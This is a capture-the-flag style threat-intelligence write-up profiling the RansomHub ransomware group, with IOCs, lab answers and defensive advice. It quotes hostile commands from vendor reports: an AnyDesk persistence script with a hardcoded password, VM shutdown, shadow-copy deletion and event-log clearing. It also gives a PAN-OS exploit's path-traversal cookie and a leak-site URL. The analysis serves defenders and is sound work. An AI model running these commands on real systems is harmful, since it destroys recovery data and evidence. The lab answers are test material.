Post

Threat Intel Report: RaaS Unfold — RansomHub, The Ransomware Empire Built on Abandoned Affiliates

Threat Intel Report: RaaS Unfold — RansomHub, The Ransomware Empire Built on Abandoned Affiliates

Platform: CyberDefenders
Challenge: RaaS Unfold
Category: Threat Intelligence / Malware Analysis
Difficulty: Hard
Tools: VirusTotal, GitHub, Symantec Threat Intelligence, ESET Research, Sophos, Group-IB, Insikt Group, CISA, WatchGuard
Achievement: Proof of Completion

1. Executive Summary

Incident Type: Ransomware-as-a-Service (RaaS) / Double Extortion

Malware Family: RansomHub (formerly Knight / Cyclops)

A file hash has been flagged by the SIEM and escalated for threat intelligence analysis. The task is to profile the binary and reconstruct the full attack chain of the RansomHub ransomware group — from their dark-web emergence, to their affiliate recruitment strategy, to the CVEs they weaponize, and finally to the technical internals of their payload. This lab follows the OSINT-first model, building an intelligence picture entirely from public threat reports without requiring local execution.

RansomHub launched publicly on February 2, 2024, and rapidly became one of the most prolific ransomware operations globally — partly by aggressively recruiting affiliates abandoned by the ALPHV/BlackCat exit scam. The group operates a true RaaS model with an 80/20 affiliate revenue split, sophisticated payload engineering, and a custom EDR-killing toolset.

CyberDefenders RaaS Unfold lab overview page showing the challenge scenario: a suspicious file hash was flagged. Analysts must investigate the ransomware group linked to this hash using public threat intelligence sources, covering TTPs from initial access to encryption and extortion.

Indicators of Compromise (IOCs)

TypeIndicatorDescription
SHA-256099997fe34d613ec70da710e2ad077d421bd7db95d2aad08d750ef88989f33daRansomHub payload (VCboEJ.exe)
MD55c8d30d80adfa8e905cabc8d37677d55RansomHub payload
SHA-12382e531ed3b0e2289179c9489f27c43d9811bc0RansomHub payload
File NameVCboEJ.exeObfuscated filename, 10.62 MB
Tox ID4D598799696AD5399FABF7D40C4D1BE9F05D74CFB311047D7391AC0BF64BED47B56EEE66A528Operator qTox contact
Dark-Web Forum HandlekoleyRAMP forum affiliate recruiter
C2 (DLS)http://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion/RansomHub Data Leak Site
EDR KillerEDRKillShifterCustom EDR termination tool
PoC SHA-25653473d4ce45ba3250281d83480db7dad65e2330e080b79bd0d93b21d024f912bCVE-2024-3400 Python PoC (main.py)

MITRE ATT&CK Mapping

TacticTechniqueID
Initial AccessExploit Public-Facing Application (PAN-OS)T1190
ExecutionWindows Command ShellT1059.003
PersistenceRemote Access Software (AnyDesk)T1219
Privilege EscalationExploitation for Privilege Escalation (ZeroLogon)T1068
Defense EvasionImpair Defenses: Disable or Modify ToolsT1562.001
Defense EvasionIndicator Removal: Clear Windows Event LogsT1070.001
Lateral MovementRemote ServicesT1021
CollectionData StagedT1074
ExfiltrationExfiltration to Cloud Storage (RClone)T1567.002
ImpactData Encrypted for ImpactT1486
ImpactInhibit System RecoveryT1490

2. Phase 1: Sample Identification — VirusTotal (Q1)

Objective: Identify the ransomware group linked to the flagged file hash.

The lab provides malware_hash.txt containing:

1
SHA256 - 099997fe34d613ec70da710e2ad077d421bd7db95d2aad08d750ef88989f33da

Terminal on Kali Linux showing: cat malware_hash.txt → SHA256 - 099997fe34d613ec70da710e2ad077d421bd7db95d2aad08d750ef88989f33da

Submitting this hash to VirusTotal immediately reveals the group identity.

VirusTotal detection page for hash 099997fe...: 53/71 vendors flagged malicious. Filename: VCboEJ.exe, Size: 10.62 MB. Popular threat label: ransomware.ransomhub/rnsmhub. Threat categories: ransomware, trojan. Family labels: ransomhub, rnsmhub, sliver. Behavioral tags: peexe, spreader, 64bits, idle.

Key findings from the Detection page:

FieldValue
Detection ratio53/71 vendors
Popular threat labelransomware.ransomhub/rnsmhub
Threat categoriesransomware, trojan
Family labelsransomhub, rnsmhub, sliver
File size10.62 MB
FilenameVCboEJ.exe (obfuscated name)

The consensus is unambiguous — this binary is a RansomHub payload. The 10.62 MB file size is consistent with a Go-compiled binary (Go statically links its runtime, which inflates binary sizes significantly compared to C-compiled equivalents).

The Details tab confirms all cryptographic hashes:

VirusTotal Details tab for VCboEJ.exe showing: MD5: 5c8d30d80adfa8e905cabc8d37677d55, SHA-1: 2382e531ed3b0e2289179c9489f27c43d9811bc0, SHA-256: 099997fe34d613ec70da710e2ad077d421bd7db95d2aad08d750ef88989f33da, File type: Win32 EXE (PE32+ console x86-64), Magic: PE32+ executable stripped to external PDB for MS Windows, File size: 10.62 MB (11133952 bytes).

Answer Q1:

RansomHub


3. Phase 2: Group Origins & Emergence (Q2 & Q3)

Objective: Determine when RansomHub first announced its affiliate program and which earlier ransomware family it was rebranded from.

Q2: When did the group first appear and start advertising its affiliate program on the dark-web forum?

Barracuda blog post titled "RansomHub. Because every abandoned affiliate needs a home." Published Jun. 11, 2024. Text reads: "RansomHub announced itself on February 2, 2024, with this post on the RAMP criminal forum."

Barracuda’s threat blog provides the key date explicitly: RansomHub announced itself on February 2, 2024 with a post on the RAMP (Russian Anonymous Marketplace) dark-web criminal forum. The timing was strategic — ALPHV/BlackCat had just conducted an exit scam after the Change Healthcare attack, leaving hundreds of experienced ransomware affiliates without a platform. RansomHub positioned itself as the natural successor, welcoming all orphaned affiliates with an attractive 80% revenue share.

Answer Q2:

2024-02-02

Q3: Which earlier ransomware variant is RansomHub believed to be a rebranded version of?

Symantec (Broadcom) article titled "RansomHub: New Ransomware has Origins in Older Knight." Subtitle: "Emergent operation has grown quickly to become one of the most prolific ransomware threats." Text: "RansomHub is very likely an updated and rebranded version of the older Knight ransomware... Analysis revealed a high degree of similarity between the two threats, suggesting that Knight was the starting point for RansomHub... Both payloads are written in Go (highlighted in blue) and most variants are obfuscated with Gobfuscate."

Symantec’s analysis identified that RansomHub shares significant code overlap with Knight ransomware (previously known as Cyclops). Key similarities:

  • Both written in Go and obfuscated with Gobfuscate
  • Virtually identical command-line help menus — the only difference is RansomHub adds a sleep command
  • The same encryption scheme and configuration structure
  • Embedded data-leak site links differentiate them at the binary level

Knight’s source code was put up for sale on underground forums in February 2024 — coinciding exactly with RansomHub’s launch. The theory is that a new operator (or syndicate) purchased the Knight source code and updated it before launching RansomHub as a rebranded RaaS.

Answer Q3:

Knight


4. Phase 3: Affiliate Program Intelligence (Q4, Q5 & Q6)

Objective: Profile the operator who posted the RAMP affiliate recruitment ad, their communication preferences, and the attack restrictions they imposed.

Q4: What forum username advertised the affiliate program?

WatchGuard threat intelligence page for RansomHub showing: Ransomware Type: Crypto-Ransomware, Data Broker, RaaS. First Seen: February 2024. Threat Actors: Type: Individual, Actor: koley (highlighted). Extortion Links: four TOR onion URLs. Extortion Types: Direct Extortion, Double Extortion. Communication: RAMP medium with "koley" identifier (highlighted in blue).

WatchGuard’s ransomware intelligence profile confirms the RAMP forum handle used to post the affiliate program: koley. This individual is listed as the sole threat actor and the communication identifier on the RAMP forum.

Answer Q4:

koley

Q5: Which instant-messaging platform did they prefer, and what was their ID?

ESET WeLiveSecurity article showing text: "Preferred communication is over qTox using the ID 4D598799696AD5399FABF7D40C4D1BE9F05D74CFB311047D7391AC0BF64BED47B56EEE66A528" (highlighted in blue). Also visible: "Attacking Commonwealth of Independent States, Cuba, North Korea, and China is prohibited."

The ESET/WeLiveSecurity article on the affiliate program announcement explicitly states the operator’s preferred encrypted communication platform and ID. The Ransomware_Official_Domains GitHub repository also lists the same TOX ID:

GitHub repository "Ransomware_Official_Domains" showing the RansomHub section with: DLS URL: http://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion/ and TOX ID: 4D598799696AD5399FABF7D40C4D1BE9F05D74CFB311047D7391AC0BF64BED47B56EEE66A528

qTox is a peer-to-peer, end-to-end encrypted messaging application that operates without centralized servers, making it impossible to subpoena or monitor through traditional legal channels. Its consistent use by ransomware operators reflects a deliberate operational security (OPSEC) choice — no account linking, no phone number, no central server with logs.

Answer Q5:

qTox, 4D598799696AD5399FABF7D40C4D1BE9F05D74CFB311047D7391AC0BF64BED47B56EEE66A528

Q6: Affiliates are prohibited from attacking companies from 4 regions — what are they?

RansomHub's "About" page from their TOR site showing the text: "We do not allow CIS, Cuba, North Korea and China to be targeted." Also: "We do not allow non-profit organizations to be targeted." And: "Re-attacks are not allowed for target companies that have already made payments."

RansomHub’s About page on their TOR infrastructure explicitly lists the prohibited targeting regions. This is a common trait among post-Soviet ransomware groups — restricting attacks on CIS nations signals likely Russian or CIS-based operator origins. Attacking Cuba, North Korea, and China likely reflects diplomatic sensitivities with states that might otherwise shelter threat actors.

The four restricted regions are:

  1. CIS (Commonwealth of Independent States — Russia, Ukraine, Kazakhstan, etc.)
  2. Cuba
  3. North Korea
  4. China

Answer Q6:

CIS, Cuba, North Korea, China


5. Phase 4: Initial Access — CVE Exploitation (Q7 & Q8)

Objective: Identify the Palo Alto PAN-OS vulnerability weaponized by RansomHub and obtain the SHA-256 of the public PoC exploit script.

Q7: What CVE did RansomHub exploit for initial access via PAN-OS?

ANS-CERT Santé (French Health CERT) article on RansomHub describing: "In analyzing an incident involving RansomHub in August 2024, researchers noted an initial access vector that involved an attempt to exploit CVE-2024-3400 affecting Palo Alto PAN-OS firewalls, based on an open-source proof of concept. Following the failure to exploit the vulnerability, the cybercriminals resorted to a brute-force attack against the VPN service."

CVE-2024-3400 is a critical OS command injection vulnerability in Palo Alto Networks’ GlobalProtect feature within PAN-OS. The vulnerability allows an unauthenticated, remote attacker to execute arbitrary code with root privileges on firewall appliances by writing a specially crafted file to an accessible path via the GlobalProtect portal.

This CVE received a CVSS score of 10.0 (maximum severity) and was observed being actively exploited within days of its public disclosure in April 2024. RansomHub leveraged public PoC tooling to probe victim perimeters before moving to brute-force attacks on VPN credentials when exploitation failed.

Answer Q7:

CVE-2024-3400

Q8: What is the SHA-256 hash of the PoC script used in the Palo Alto exploitation?

Group-IB’s DFIR analysts traced the attacker’s tooling back to a specific Python script on GitHub:

Group-IB DFIR article showing: "Group-IB's DFIR analysts conducted a thorough investigation that revealed the source code of the script used by the attacker on Github." Followed by the Python source code of main.py showing import argparse, import requests, def get_request(ip) with cookie header: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt (highlighted in orange).

The exploit script (main.py) works by sending a crafted HTTP request to the /ssl-vpn/hipreport.esp endpoint with a malicious SESSID cookie value that traverses the path to write arbitrary files into the web-accessible GlobalProtect portal directory — specifically /global-protect/portal/images/poc.txt.

The GitHub repository (pwnj0hn/CVE-2024-3400) contains the full main.py source:

GitHub repository pwnj0hn/CVE-2024-3400 showing main.py file, 56 lines 2.24 KB. Code shows import argparse, import requests, send requests to IP to check for vulnerabilities, creates a new file via SESSID cookie path traversal technique.

Submitting main.py to VirusTotal confirms its SHA-256 hash. Note that VirusTotal returns 0/63 detections — this is a legitimate Python reconnaissance script, not a weaponized payload itself. This is a critical distinction: the PoC checks whether a target is vulnerable; a separate exploitation step would then be used to gain code execution.

VirusTotal showing 0/63 vendors flagged main.py. SHA-256: 53473d4ce45ba3250281d83480db7dad65e2330e080b79bd0d93b21d024f912b (highlighted in blue). Filename: main.py, Size: 2.24 KB, tags: python, idle.

Answer Q8:

53473d4ce45ba3250281d83480db7dad65e2330e080b79bd0d93b21d024f912b


6. Phase 5: Active Directory Exploitation (Q9)

Objective: Identify the Active Directory vulnerability exploited by the affiliate for domain privilege escalation.

Q9: What CVE enabled domain access without valid user credentials?

Group-IB article showing Figure 8 sAMAccount spoofing log and Figure 9 ZeroLogon attempt log. Text: "The second one, labelled with CVE-2020-1472 (highlighted in blue) and known also as ZeroLogon, affects Microsoft's Active Directory NetLogon remote Protocol (MS-NRPC), and it allows a malicious actor without user credentials to gain the highest privileges in the domain, and take the control of a vulnerable domain controller via NT Lan Manager (NTLM)."

CVE-2020-1472 — ZeroLogon is a cryptographic flaw in Microsoft’s MS-NRPC (Netlogon Remote Protocol) that allows an attacker with network access to a Domain Controller to:

  1. Spoof the identity of any computer account (including the DC itself)
  2. Elevate privileges to Domain Admin without providing any valid credentials
  3. Extract the NTLM hash of the Domain Controller’s machine account

The attack leverages a flawed AES-CFB8 implementation that allows an attacker to force the Netlogon session key to all zeros with approximately 1-in-256 probability — requiring roughly 256 attempts on average, completable in seconds.

Group-IB’s investigation logs show the mimikatz tool’s authentication attempt failing initially (Figure 9) — consistent with the detector-evading approach of using ZeroLogon to bypass credential requirements entirely.

Critical Severity: ZeroLogon received a CVSS score of 10.0. Despite being patched in August 2020, it remains widely exploited in 2024 due to unpatched legacy domain controllers — a persistent problem in enterprise environments where updating Domain Controllers requires extensive change management processes.

Answer Q9:

CVE-2020-1472


7. Phase 6: Threat Actor Attribution (Q10 & Q11)

Objective: Identify the specific ESET-named threat actor and their AnyDesk configuration details.

Q10: What is the name of the threat actor responsible for compromising a North American government institution in August 2024?

SecurityWeek article on EDRKillShifter. Text: "RansomHub made EDRKillShifter available to its affiliates through the RaaS panel... ESET observed it being used in attacks involving other ransomware variants, including Play, Medusa, and BianLian... 'We believe with high confidence that all these attacks were performed by the same threat actor, working as an affiliate of the four ransomware gangs,' ESET notes, referring to the threat actor as QuadSwitcher (highlighted in blue)."

ESET Research identified and named the specific threat actor behind the August 2024 North American governmental institution compromise as QuadSwitcher. This naming convention reflects the actor’s unique behavior of simultaneously operating as an affiliate across four different ransomware-as-a-service platforms — RansomHub, Play, Medusa, and BianLian.

This multi-gang affiliation is operationally unusual and suggests a highly experienced threat actor who either maintains separate personas across platforms, or one who has negotiated special access. The common thread is the deployment of EDRKillShifter — RansomHub’s custom EDR termination tool — across all four operations, serving as the attribution fingerprint that allowed ESET to link the attacks.

Answer Q10:

QuadSwitcher

Q11: What password did the PowerShell script set for AnyDesk?

![Symantec article on AnyDesk section. Text: “To simplify the use of AnyDesk, an example PowerShell script is provided that downloads the AnyDesk executable to C:\ProgramData\AnyDesk…” Code block showing: $clnt = new-object System.Net.WebClient, $url = ‘http://download.anydesk.com/AnyDesk.exe’, $file = ‘C:\ProgramData\AnyDesk.exe’, $clnt.DownloadFile($url,$file). Then: “cmd.exe /c echo J9kzQ2Y0qO (highlighted in blue)C:\ProgramData\anydesk.exe –set-password”](/assets/RaaS Unfold - RansomHub Lab/symantec-ransomhub-anydesk-powershell-persistence.png)

RansomHub’s leaked operational manual included a PowerShell script for deploying AnyDesk as a persistence mechanism. The script:

  1. Downloads AnyDesk.exe from the official CDN to C:\ProgramData\AnyDesk.exe
  2. Silently installs it with --install and --start-with-win flags
  3. Sets the remote access password via echo J9kzQ2Y0qO | anydesk.exe --set-password

The hardcoded password J9kzQ2Y0qO gives the attacker persistent GUI remote access to all compromised hosts through a trusted, often-whitelisted remote desktop application — bypassing most endpoint perimeter controls.

Answer Q11:

J9kzQ2Y0qO


8. Phase 7: Payload Internals (Q12, Q13, Q14 & Q15)

Objective: Analyze the RansomHub binary’s runtime requirements, error handling, EDR evasion loader, and programming language.

Q12 & Q13: What command-line flag provides the passphrase, and what is the error message on failure?

![Group-IB article titled “Windows Ransomware Internals.” Text: “When the malware is executed, it parses the command-line arguments to locate the -pass parameter, which is critical for its operation. The provided passphrase is used to decrypt the configuration file, enabling the malware to access its essential parameters. Without the correct -pass, the malware will terminate and print ‘bad config’ (highlighted in blue) to the console.” Followed by the config.json: master_public_key, extension: .6706c3, note_file_name: README_.txt, note_full_text: "We are the RansomHub.\n\nYour company Servers are locked..." settings: local_disks/network_shares/kill_processes/kill_services/set_wallpaper/net_spread/self_delete/running_one all set to true.](/assets/RaaS Unfold - RansomHub Lab/group-ib-ransomhub-config-json-master-key-extension.png)

RansomHub implements a passphrase-protected configuration model. The binary does not contain its configuration in plaintext — instead, it embeds an AES-encrypted configuration blob that is only decryptable at runtime if the correct -pass argument is supplied.

This design serves multiple purposes:

  • Anti-analysis: Without the correct passphrase, sandboxes receive a bad config termination and no behavioral indicators
  • Affiliate key distribution: Each affiliate receives their own unique passphrase paired with their compiled build, preventing payload sharing or reuse across affiliate accounts
  • Code reuse protection: The same binary can be deployed to multiple victims, with per-victim configuration controlled via the passphrase

The decrypted configuration (shown in the Group-IB screenshot) reveals the full operational parameters:

Config KeyValuePurpose
master_public_key6706c3...ECDH public key for file encryption
extension.6706c3File extension appended to encrypted files
note_file_nameREADME_<random>.txtRansom note filename
local_diskstrueEncrypt local drives
network_sharestrueEncrypt network shares
kill_processestrueKill processes with open file handles
kill_servicestrueStop services before encryption
self_deletetrueErase itself post-encryption
net_spreadtrueAttempt automatic lateral spread

Answer Q12:

-pass

Answer Q13:

bad config

Q14: What is the EDR termination tool used by RansomHub as a loader?

Sophos blog article. Text: "Sophos analysts recently encountered a new EDR-killing utility being deployed by a criminal group who were trying to attack an organization with ransomware called RansomHub. While the ransomware attack ultimately was unsuccessful, the postmortem analysis revealed the existence of a new tool designed to terminate endpoint protection software. We are calling this tool EDRKillShifter (highlighted in blue)."

EDRKillShifter was first documented by Sophos in mid-2024 after a failed RansomHub attack. The tool works by loading a vulnerable driver (BYOVD — Bring Your Own Vulnerable Driver) onto the victim system, then using the driver’s legitimate kernel access to terminate EDR and AV processes that would otherwise block the ransomware.

The BYOVD technique is significant because:

  • The loaded driver is legitimately signed by Microsoft or a legitimate vendor
  • Kernel-mode termination of security processes bypasses all user-mode protection
  • The EDR software cannot protect itself from kernel-level attacks

RansomHub made EDRKillShifter available to all affiliates via their RaaS administration panel — this is the “loader” component referenced in Q14.

Answer Q14:

EDRKillShifter

Q15: What programming language was used to develop the final payload/killer code?

Returning to the Symantec research on RansomHub’s Knight lineage:

Symantec article showing: "Both payloads are written in Go (highlighted in blue) and most variants of each family are obfuscated with Gobfuscate. Only some early versions of Knight are not obfuscated."

Both RansomHub and its Knight predecessor are written in Go (Golang). The choice of Go for ransomware development has become increasingly common for several strategic reasons:

  • Cross-platform compilation: One Go codebase compiles to Windows, Linux (ESXi), and macOS targets — enabling RansomHub to offer Windows, Linux, and ESXi variants from a single codebase
  • Static linking: Go binaries include all dependencies, meaning they run on any target without requiring runtime installations
  • Anti-analysis: Go’s reflection and goroutine model complicate both static and dynamic analysis compared to traditional C/C++ binaries
  • Gobfuscate: Combined with the Gobfuscate obfuscator (which mangles symbol names and injects dead code), Go ransomware is particularly resistant to signature-based detection

Answer Q15:

Go


9. Phase 8: Pre-Encryption Operations (Q16 & Q17)

Objective: Identify the PowerShell cmdlets used to stop VMs and determine how many Windows log files are cleared.

Q16: What two PowerShell cmdlets stop virtual machines?

![Insikt Group (Recorded Future) research article showing Mitigations section. Bullet points: “powershell.exe -Command PowerShell -Command ““Get-VMStop-VM -Force”” (highlighted in blue), cmd.exe /c iisreset.exe /stop, powershell.exe -Command PowerShell -Command ““Get-CimInstance Win32_ShadowCopyRemove-CimInstance”””](/assets/RaaS Unfold - RansomHub Lab/insikt-ransomhub-powershell-shadowcopy-vm-stop-iis.png)

Before encrypting files, RansomHub systematically kills workloads to ensure all files are accessible (no open file handles that would prevent encryption):

CommandPurpose
powershell.exe -Command "Get-VM \| Stop-VM -Force"Forcefully shut down all running Hyper-V virtual machines
cmd.exe /c iisreset.exe /stopStop all IIS web services
powershell.exe -Command "Get-CimInstance Win32_ShadowCopy \| Remove-CimInstance"Delete all Volume Shadow Copies (prevents recovery)

The VM termination command pipes Get-VM (enumerate all Hyper-V VMs) into Stop-VM -Force (force power-off without graceful shutdown). The -Force flag bypasses any “unsaved work” confirmations, ensuring that even VMs with open transactions are immediately powered off and their disk files become exclusively accessible to the ransomware.

Answer Q16:

Get-VM | Stop-VM -Force

Q17: How many Windows log files does the ransomware clear?

S-RM (London-based cyber consultancy) article titled "Propagation." Text: "Once within a network, RansomHub leverages tools like ngrok for reverse proxy and Anydesk for persistence and uses Mimikatz to steal credentials. The group has been observed using a 2020 ZeroLogon flaw in the Windows NetLogon Remote Protocol (CVE-2020-1472) for privilege escalation, and evades defences by clearing application, system and security event logs (highlighted in blue) with the wevtutil.exe tool to enable lateral movement throughout a network."

The S-RM intelligence report identifies that RansomHub uses wevtutil.exe to clear three specific Windows event log channels:

  1. Application log
  2. System log
  3. Security log

These three logs are the primary forensic sources for incident responders. Clearing them eliminates evidence of:

  • Failed login attempts (Security log — Brute force / Pass-the-Hash artifacts)
  • Service installations and anomalous process executions (System log)
  • Application errors and crash signatures (Application log)

By clearing these before or during the final encryption stage, RansomHub maximizes the difficulty of post-incident forensic reconstruction.

Forensic Resilience Note:
The wevtutil.exe cl (clear-log) event itself generates Windows Event ID 1102 (Audit log cleared) in the Security log, and 104 in the System log. If SIEM forwarding is configured to forward logs to a remote SIEM before they are cleared, the clearing event and all preceding events are preserved. This is why real-time SIEM log forwarding is a non-negotiable defensive control against ransomware.

Answer Q17:

3


10. Phase 9: Encryption & File Markers (Q18)

Objective: Identify the cryptographic signature appended to the end of every RansomHub-encrypted file.

Q18: What are the last four bytes consistently observed in encrypted files?

CISA #StopRansomware RansomHub advisory (PDF, page 8/24) showing two hex dump views. First labeled "Figure 5: Checksum value" showing bytes at offsets 86:DC00–86:DC10. Second labeled "Figure 6: The last four bytes" showing the same offsets with bytes 00 AB CD EF highlighted in blue at offset 86:DC10. Text: "The last four bytes are always seen to be the sequence 0x00ABCDEF (highlighted in blue)."

The CISA #StopRansomware advisory on RansomHub includes a detailed analysis of the encrypted file structure. The structure appended to each encrypted file (after the encrypted data) consists of:

  1. 32-byte master public key — the per-session ECDH public key, allowing decryption only with the corresponding private key held by the attacker
  2. 4-byte checksum value — a verification value
  3. 4-byte magic footer — always the constant value 0x00ABCDEF

The 0x00ABCDEF trailer is a deterministic file marker — a YARA hunting opportunity. Any file on a victim system ending in the byte sequence 00 AB CD EF is a RansomHub-encrypted file. This marker can be used for:

  • Automated identification of encrypted files in forensic imaging
  • YARA rule creation for triage of potentially encrypted file sets
  • Confirming RansomHub attribution during incident response

Answer Q18:

0x00ABCDEF


11. Phase 10: Ransom Note & Data Leak Infrastructure (Q19 & Q20)

Objective: Identify the opening line of the ransom note and the URL of the RansomHub Data Leak Site.

Q19: What is the message on the first line of the ransom note?

Q20: What is the URL of the Data Leak Site?

ESET WeLiveSecurity article showing the full RansomHub ransom note. First line highlighted in blue: "We are the RansomHub." Full note reads: "Your company Servers are locked and Data has been taken to our servers. This is serious. Good news: your server system and data will be restored by our Decryption Tool... Tor Browser Links: http://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion/"

The ransom note (stored as README_<random>.txt) opens with a direct, unambiguous declaration of identity: “We are the RansomHub.”

The note structure follows a deliberate psychological playbook:

  1. Identity declaration — establishes authority and group recognition
  2. Threat statement — “Your company Servers are locked and Data has been taken”
  3. Good news framing — psychological softening technique to make the victim receptive to negotiation
  4. Proof of decryption offer — builds credibility by offering a free decryption of sub-1MB files
  5. Confidentiality assurance — falsely claims the breach is secret (except to the victim and RansomHub)
  6. Legal threat — GDPR fine warnings designed to pressure victims into paying rather than reporting

The Data Leak Site URL is embedded directly in the ransom note and confirmed in multiple intelligence reports. The WatchGuard profile also confirms this as one of RansomHub’s four known TOR extortion links:

Answer Q19:

We are the RansomHub.

Answer Q20:

http://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion/


12. Full Attack Chain Summary

PhaseStageTechniqueEvidence
1Initial AccessCVE-2024-3400 PAN-OS exploit attempt; fallback VPN brute-forcemain.py PoC (SHA-256: 53473d…)
2Credential TheftMimikatz + ZeroLogon (CVE-2020-1472)Group-IB NetLogon attack logs
3PersistenceAnyDesk deployed via PowerShell; password: J9kzQ2Y0qOSymantec leaked manual
4Lateral Movementngrok reverse proxy, SMB, compromised credentialsS-RM propagation analysis
5Defense EvasionEDRKillShifter BYOVD EDR terminationSophos first documentation
6Defense EvasionClear Application, System, Security event logs via wevtutil.exeS-RM / Insikt Group
7Pre-EncryptionStop Hyper-V VMs: Get-VM \| Stop-VM -Force; Stop IIS; Delete VSSInsikt Group analysis
8ExfiltrationRClone to cloud storageTrend Micro intelligence
9EncryptionECDH + AES; -pass required; trailer: 0x00ABCDEFCISA advisory, Group-IB
10ImpactRansom note README_<random>.txt; DLS at ransomxifxwc5…ESET / WatchGuard

13. Remediation & Mitigation Recommendations

Immediate Indicators to Hunt

  • Files ending in bytes 00 AB CD EF (RansomHub encryption marker)
  • File extension .6706c3 (or random hex — changes per victim deployment)
  • README_*.txt files created in bulk across directory trees
  • wevtutil.exe cl Application, wevtutil.exe cl System, wevtutil.exe cl Security in process logs
  • powershell.exe Get-VM | Stop-VM -Force in SIEM

Critical Patches to Prioritize

CVESystemSeverityAction
CVE-2024-3400Palo Alto PAN-OS GlobalProtectCVSS 10.0Patch immediately; check for /global-protect/portal/images/*.txt artifacts
CVE-2020-1472Windows Domain ControllersCVSS 10.0Apply KB4571694 (Aug 2020); enable DC enforcement mode

Defensive Architecture

  • Real-time SIEM log forwarding: Prevents wevtutil.exe clearing from destroying forensic evidence
  • VSS protection: Enable Microsoft’s VSS protection policy preventing non-System processes from deleting shadow copies
  • Hyper-V network segmentation: Restrict access to Hyper-V management APIs to dedicated management VLANs
  • EDR kernel protection: Deploy EDR solutions with tamper-protection enabled at the kernel level (PPL — Protected Process Light)
  • Block TOR exit nodes: Prevent ransomware C2 communication and DLS data exfiltration at the perimeter
  • AnyDesk allowlisting: Only allow pre-approved AnyDesk organization IDs; block personal/unlicensed installations

14. Conclusion

RansomHub represents a mature, operationally sophisticated RaaS operation that successfully combined:

  1. Strategic timing — Launching at the exact moment ALPHV abandoned hundreds of experienced affiliates
  2. Code efficiency — Reusing the Knight codebase (Go + Gobfuscate) rather than developing from scratch
  3. Operational security — qTox, TOR-only infrastructure, passphrase-protected payloads
  4. Tooling sophistication — Custom EDRKillShifter bypasses modern EDR at the kernel level
  5. Aggressive targeting — Weaponizing CVSS 10.0 vulnerabilities within days of public PoC availability

The 20-question lab demonstrates how a complete threat intelligence profile can be constructed entirely from OSINT — from initial hash triage through VirusTotal, to dark-web forum registration intelligence, to binary internals from vendor research reports — without ever executing the sample.

Key Takeaways for the SOC:

  1. Patch CVSS 10.0 vulnerabilities within 24 hours. CVE-2024-3400 was weaponized within days of disclosure. There is no acceptable patch window for maximum-severity perimeter vulnerabilities.
  2. 0x00ABCDEF is your hunt anchor. Deploy YARA rules scanning for this byte sequence across all network shares to rapidly identify encrypted files during an active incident.
  3. EDR tamper protection is non-negotiable. EDRKillShifter only succeeds because EDR processes can be terminated from kernel space. PPL-protected EDR agents cannot be killed by BYOVD attacks.

Analysis Date: April 5, 2026
Analyst: El OMARI Zakaria

This post is licensed under CC BY 4.0 by the author.